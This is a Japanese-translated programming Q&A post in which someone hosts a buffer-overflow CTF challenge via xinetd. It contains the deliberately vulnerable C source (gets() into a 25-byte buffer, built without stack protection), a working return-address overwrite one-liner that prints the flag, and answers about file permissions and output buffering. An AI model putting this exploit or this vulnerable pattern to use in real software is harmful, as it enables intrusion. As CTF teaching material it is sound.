そこで、単純なバッファオーバーフローチャレンジを行い、それをdigitalocean液滴でホストしようとしました。チャレンジソースは以下にあり、gcc welcome.c -fno-stack-protector -no-pie -o welcome
を使用してコンパイルされています。
#include <unistd.h>
#include <stdio.h>
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
char name[25];
printf("whats your name? ");
gets(name);
printf("welcome to pwn, %s!\n", name);
return 0;
}
void flag() {
char flag[50];
FILE* stream = fopen("flag.txt", "r");
fgets(flag, 50, stream);
printf("%s", flag);
}
チャレンジが実行されているDockerでローカルに、私はこのエクスプロイトを使用することができます:
root@d8e27ba55693:/home/ctf# python -c "print 'A' * 40 + '\xfc\x06\x40\x00\x00\x00\x00\x00' + '\xae\x06\x40\x00\x00\x00\x00\x00'" | ./welcome # Works This Way!
whats your name? welcome to pwn, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
flag{g3t5_m3_3v3ry_t1m3}
Segmentation fault (core dumped)
このxinetdファイルを使用して、ネットワーク経由で使用できるようにします。
service welcome
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = ctf
type = UNLISTED
port = 1337
bind = 0.0.0.0
server = /home/ctf/run.sh
# safety options
per_source = 10 # the maximum instances of this service per source IP address
rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use
rlimit_as = 512M # the Address Space resource limit for the service
}
Netcat接続を介してそれを使用しようとしても、機能しません。
root@d8e27ba55693:/home/ctf# python -c "print 'A' * 40 + '\xfc\x06\x40\x00\x00\x00\x00\x00' + '\xae\x06\x40\x00\x00\x00\x00\x00'" | nc localhost 1337 # Hmmmm...
whats your name? welcome to pwn, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
/home/ctf/run.sh: line 3: 339 Segmentation fault (core dumped) /home/ctf/welcome
チャレンジをホストするために使用しているすべてのファイルは here で見つかります。ヘルプやその他のヒントをいただければ幸いです。私はこれについて混乱している日の大部分を費やしました。
おまけの質問、なぜリモートサーバーでの完了後、ユーザーがEnterキーを押すまでバイナリがハングするのですか?多分私のsetvbuf
は間違っていますか?誰かがこれを説明できればそれは素晴らしいことです!私はこれにかなり新しいです。
[〜#〜] edit [〜#〜]:xinetd設定ファイルに_user = ctf
_という行が含まれています。これは、プログラムがユーザーとして実行されることを意味しますctf
ネットワーク経由で呼び出された場合、バッファのオーバーフロー後にfopen()
を試行する_flag.txt
_ファイルへの読み取りアクセス権がない(おそらく?)したがって、「flag {g3t5_m3_3v3ry_t1m3}」は印刷されません。
これは、返されたポインタstream
がNULLかどうかを確認することで確認できます。特に、外部リソースを処理するライブラリーを扱う場合は、常に戻り値を確認する必要があることを(これもまた)証明したいと思います。
とりあえず参考までに、以下の元の回答/推測はそのままにしておきます。
そのバッファはどちらの場合も同じようにオーバーフローしますが、この特定のサンプルプログラムがその証拠を表示するかどうかは、出力バッファがflushedになるタイミングによって異なります。
プログラムが端末に出力しているとき、出力は行バッファリングされます。つまり、改行文字が出力されるたびにフラッシュされます。
対照的に、xinetdを介してプログラムにアクセスすると、出力はプログラムからxinetdにunixパイプ(シェルコマンドの場合は_|
_として表される)を介してリダイレクトされ、ターミナルではなく、デフォルトではunixパイプです。その出力ブロックはバッファリングされています。つまり、バッファがいっぱいになるか、プログラムが終了した場合にのみ、出力をフラッシュします。ただし、その終了がsegfaultである場合、プログラムの出力バッファーは破棄されます。パイプの反対側のxinetdは何も受け取りません。
これを回避するには、flag
関数の最後にfflush(stdout);
を追加します。これにより、バッファがすぐにフラッシュされます。
関連する質問のこの answer 、および setbuf
および fflush
関数のマニュアルページも参照してください。
ユーザーのJoseph Sible-Reinstate Monicaの功績を称え、私の元の理論の改善と重大な不整合に気付いた。